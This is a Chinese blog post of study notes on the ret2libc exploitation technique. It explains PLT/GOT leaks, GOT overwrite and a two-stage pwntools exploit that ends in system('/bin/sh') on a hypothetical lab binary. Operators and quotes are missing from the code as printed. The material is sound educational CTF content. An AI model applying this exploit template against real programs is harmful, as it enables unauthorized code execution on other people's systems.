【学习记录】Week4(一):ret2libc 机制初探——PLT/GOT 泄露与劫持基础 📅 2026/6/30 16:41:14 写在前面在 Week3 中我们通过注入 Shellcode 和跳后门函数拿到了 Shell。但现实是残酷的现代程序几乎都会开启 NX不可执行栈保护并且不会留有后门函数。当栈上的数据不能作为代码执行时我们必须转向“代码重用”技术。ret2libc就是 PWN 界的降维打击——借用程序本身加载的 libc 库中的函数来拿 Shell。本文将带你彻底通透 PLT/GOT 泄露与劫持的核心逻辑。 目录核心思想什么是 ret2libc泄露的艺术ret2plt 获取 libc 真实地址PLT 二次调用技巧让程序“重回起点”闭环劫持ret2got 篡改执行流标准攻击模型推演无图无截图纯硬核推演1. 核心思想什么是 ret2libc当 NX 保护开启时栈内存区域被标记为rw-可读可写不可执行。你在栈上写下的机器码CPU 拒绝执行。破局思路既然不能执行我写的代码那我就去执行系统已经加载好的代码程序运行时必然加载了libc.so里面包含大量的现成函数如system、execve。只要我们能控制 EIP/RIP 跳转到 libc 中的system函数并传入/bin/sh字符串作为参数就能拿 Shell。这就是ret2libc(Return to libc)。面临的两个痛点ASLR地址随机化导致 libc 每次加载的基址都在变我们不知道system的绝对地址。我们需要知道/bin/sh字符串的地址。2. 泄露的艺术ret2plt 获取 libc 真实地址要解决第一个痛点必须进行信息泄露。回顾 Week2 的知识程序调用puts时会通过.plt跳板去.got表里寻找真实地址。如果puts已经被调用过.got表里就存放了puts在 libc 中的真实地址。攻击构造我们通过栈溢出伪造调用链让程序执行puts(putsgot)即把putsgot的地址作为参数传给putsplt这样puts就会把这个地址里存放的数据也就是 puts 在 libc 的真实地址打印出来64 位下的参数传递关键在 64 位 Linux 中前六个参数通过寄存器传递rdi,rsi,rdx,rcx,r8,r9。要实现puts(putsgot)我们必须找一个pop rdi; ret的 Gadget把putsgot的地址弹入rdi。接着让 EIP 跳到putsplt。3. PLT 二次调用技巧让程序“重回起点”泄露完 libc 地址后程序面临着结束并退出的情况。如果程序退出了我们就算知道了地址也没用。我们需要让程序重新执行一次漏洞函数通常是main函数或vulnerable函数以便进行第二次栈溢出发送最终的攻击 Payload。技巧在 Payload 末尾接上main函数的地址。这样当puts执行完毕返回时不会返回到原调用处而是“返回”到main函数的开头程序重新开始跑第一次 Payload 结构64位[Padding] [pop rdi; ret 地址] [putsgot 地址] [putsplt 地址] [main 函数地址]4. 闭环劫持ret2got 篡改执行流除了 ret2libc 跳到 libc 里执行还有一种基于 GOT 表劫持的攻击思路前提是 Partial RELROGOT 表可写。原理如果我们通过某种漏洞如格式化字符串或任意地址写把putsgot里存放的真实地址篡改成system的真实地址。那么程序下一次调用puts(hello)时实际上去 GOT 表里读取了system的地址并跳转最终执行的是system(hello)。这就是ret2got劫持。但在纯栈溢出场景下由于我们通常没有“任意地址写”的原语所以ret2libc依然是最主流的选择。不过理解 GOT 劫持对后续高阶利用至关重要。5. 标准攻击模型推演假设性环境64位程序NX 开启Partial RELRO已知溢出偏移量为40。步骤 1寻找 Gadget使用 ROPgadget 查找ROPgadget --binary vuln --only pop|ret | grep rdi模拟输出0x0000000000401193 : pop rdi; ret步骤 2获取关键地址 (ELF 解析)使用 pwntools 获取from pwn import * elf ELF(./vuln) puts_plt elf.plt[puts] # 假设为 0x401030 puts_got elf.got[puts] # 假设为 0x404018 main_addr elf.symbols[main] # 假设为 0x401156 pop_rdi 0x401193步骤 3构造并发送第一次 Payload (泄露阶段)payload1 bA * 40 payload1 p64(pop_rdi) # 让 rdi 指向 putsgot payload1 p64(puts_got) payload1 p64(puts_plt) # 调用 puts 打印地址 payload1 p64(main_addr) # 返回到 main准备二次溢出 p.sendline(payload1) # 接收泄露的地址 leaked_puts u64(p.recvline().strip().ljust(8, b\x00)) log.success(fLeaked puts: {hex(leaked_puts)})模拟终端输出[] Leaked puts: 0x7ffff7a649c0步骤 4计算 libc 基址与目标地址 (计算阶段)假设本地 libc 中puts偏移为0x6f6a0system偏移为0x45390/bin/sh偏移为0x18ce17。libc_base leaked_puts - 0x6f6a0 system_addr libc_base 0x45390 bin_sh_addr libc_base 0x18ce17步骤 5构造并发送第二次 Payload (攻击阶段)程序已经回到了main我们再次触发溢出。此时我们直接跳转到system并将/bin/sh作为参数传入。注意64位下调用 system需要栈对齐16字节对齐通常在前面加一个ret指令。# 寻找一个单独的 ret 指令用于栈对齐 ret_gadget 0x40101a payload2 bA * 40 payload2 p64(ret_gadget) # 栈对齐 payload2 p64(pop_rdi) # 让 rdi 指向 /bin/sh payload2 p64(bin_sh_addr) payload2 p64(system_addr) # 调用 system p.sendline(payload2) p.interactive()模拟终端输出[*] Switching to interactive mode $ id uid1000(user) gid1000(user) groups1000(user)完美拿下 Shell这就是经典的两阶段 ret2libc 攻击。6. 结语ret2libc是现代 PWN 的基石。理解“泄露 - 计算 - 二次攻击”的闭环逻辑你就跨过了 PWN 中最大的一道门槛。在 64 位环境下最大的难点在于寻找pop rdi; ret这样的 Gadget 来传参。如果找不到怎么办如果需要传 3 个参数怎么办下一篇我们将深入探讨基础 ROP gadget 的查找与拼接技巧。如果本文对你有帮助请点赞收藏支持